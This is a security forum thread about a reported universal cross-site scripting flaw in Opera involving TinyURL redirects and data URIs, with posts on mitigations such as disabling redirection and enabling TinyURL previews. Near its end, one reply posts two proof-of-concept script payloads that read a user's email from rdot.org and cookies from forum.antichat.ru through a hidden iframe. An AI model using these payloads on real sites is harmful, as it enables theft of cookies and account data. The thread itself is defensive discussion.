Broadband Tech > Security > Security > Universal XSS in Opera

Universal XSS in Opera

reply to Name Game
Normally I don't pay attention to POCs since they don't always make their way into the wild.

But I looked because I see it would fail on 2 counts:

1) it requires javascript which, being white listed here, wouldn't be enabled in a redirection

Thanks for looking at it rich and you thoughts.

reply to Name Game
> I don't allow access to any URL shortening services.

How, extension?

> it requires javascript which, being white listed here

Blacklisted?
Oh, oh, oh. You're saying that you normally have JavaScript not allowed & allow as needed. (Kind of like using NoScript.)

reply to Name Game

reply to Name Game
> Tools->Preferences->Advanced->Network and uncheck the checkbox labeled “Enable automatic redirection”

Just what does that do?

»help.opera.com/Mac/12.00/en/redirect.html

»help.opera.com/Linux/9.50/en/network.html

reply to Name Game
I'm really confused by the POC?
I (think) I understand what's happening, just not sure how it relates to anything?

Or is this the point:

quote:

---

This means that the javascript executes within the domain of tinyurl.com. Because of that, an attacker could read data within the domain and steal the users cookies for the domain as well.

---

Sorry..can't help you on your tiny URL. I personally have all that set for preview a long time ago so I know where I am going

»tinyurl.com/preview.php?num=therube

Prevention
Fortunately, there is a way to prevent accessing an unwanted URL when presented with a TinyURL link. Go to tinyurl.com and click the link on the front page labeled "Click here to enable previews." This simple fix tells TinyURL to not automatically redirect you to a TinyURL destination page. Instead, you are sent to a simple preview page that tells you the exact URL you have been sent to by the abbreviated TinyURL. From here, you can choose to either click the real link or simply close the window if the content appears to be inappropriate or dangerous.

»tinyurl.com/preview.php
--
Gladiator Security Forum
»www.gladiator-antivirus.com/

reply to therube
Nice work therube at that site...we all know there is risk with tinyurl

»www.ehow.com/info_12009456_tinyurl-safe.html

I think that Russian guy is trying to show cookies could be stolen...any of them you might have I guess.
--
Gladiator Security Forum
»www.gladiator-antivirus.com/

reply to Name Game
I believe a major part of this issue was already discussed in early September in »Firefox, Opera allow crooks to hide an entire phish site . Namely, the misuse of compressed web-page addresses being stored in the data URI and used to display a different page than what a user may believe he's connected with. In reality, the behavior is a direct consequence of the 1998 URI standard, not a "flaw" in Opera (or Firefox). Opera chooses to follow the data URI web standard explicitly, even in this area, so as not to break legitimate usage relying on the data URI behavior involved; other browsers elect to break the standard (and any relying pages) in order to "protect" users. Depending on one's pre-disposition to safety versus standards-compliance, either approach could be argued as resulting in a browser "flaw".

In Opera's case, if such a data URI sourced page is being displayed, the badge at the left of the address box is different from that displayed for a normal website, being a red "O" instead of a blue "earth". Of course, a user may miss that or not understand its signficance, or their choice of custom skins or colors may obscure the badge details... but the notification and its purpose remain.

edited: added last para
--
"Is life so dear, or peace so sweet, as to be purchased at the price of chains and slavery? Forbid it, Almighty God!" -- P.Henry, 1775

reply to Name Game
The interest I had personally in the info was because of twitter..

Different ways to shorten URL's...

5 Twitter URL Shorteners With Awesome Features
»sproutsocial.com/insights/2011/0···rteners/

But now they have their own service too

reply to therube
Rich uses a tool to stop access to URL Shortening Services..

there are a few out there and ways to do it..

4 Easy Ways to Decode a TinyURL

»www.friedbeef.com/4-easy-ways-to···tinyurl/
--
Gladiator Security Forum
»www.gladiator-antivirus.com/

reply to Blackbird
> I believe a major part of this issue was already discussed

Right.

But if I'm understanding, the difference here, with Opera, is what I noted above, "This means that the javascript executes within the domain of tinyurl.com".

If that is the case, could someone with Opera open my tinyurl, »tinyurl.com/therube, then type "javascript:alert(document.domain)" (sans the quotes) into the address bar & tell us what it returns. (In Mozilla's case, nothing.)

Edit:

DO NOTE that "my" tinyurl.com/therube page is the same as what was discussed here, »Firefox, Opera allow crooks to hide an entire phish site, so what it may actually do, or not, I don't know. IOW, give it the same trust considerations you would any other page, none! (I say that only partially in jest, but really, don't try to log in or something like that.)

quote:

---

JavaScript
(about:blank)
tinyurl.com
[ ] Stop executing scripts on this page [OK]

---

reply to therube
Are you able to read all this in English..not just Russian so you can see the other issues he talks about ?

»rdot.org/forum/showthread.php?t=2444

reply to Blackbird

quote:

---

JavaScript
(about:blank)
tinyurl.com
[ ] Stop executing scripts on this page [OK]

---

reply to Name Game

<script>if(document.domain=='tinyurl.com')location.reload();
function a(){var x=new XMLHttpRequest;
x.open('GET','https://rdot.org/forum/profile.php?do=editpassword',false);
x.send(null);
alert(x.responseText.match(/name="email" value="(.+?)"/)[1])}</script><body onload=a()>
 

<script>if(document.domain=='tinyurl.com')location.reload();
function a(){alert(document.frames[0].document.cookie)}function b(){var i=document.createElement('iframe');
i.style='width:0px;height:0px;visibility:hidden';i.src = 'http';
i.src+=document.referrer.length?'':'s';
i.src+='://forum.antichat.ru/css/a.css';
i.onload=function(){a()};document.body.appendChild(i)}</script><body onload=b()>
 

reply to therube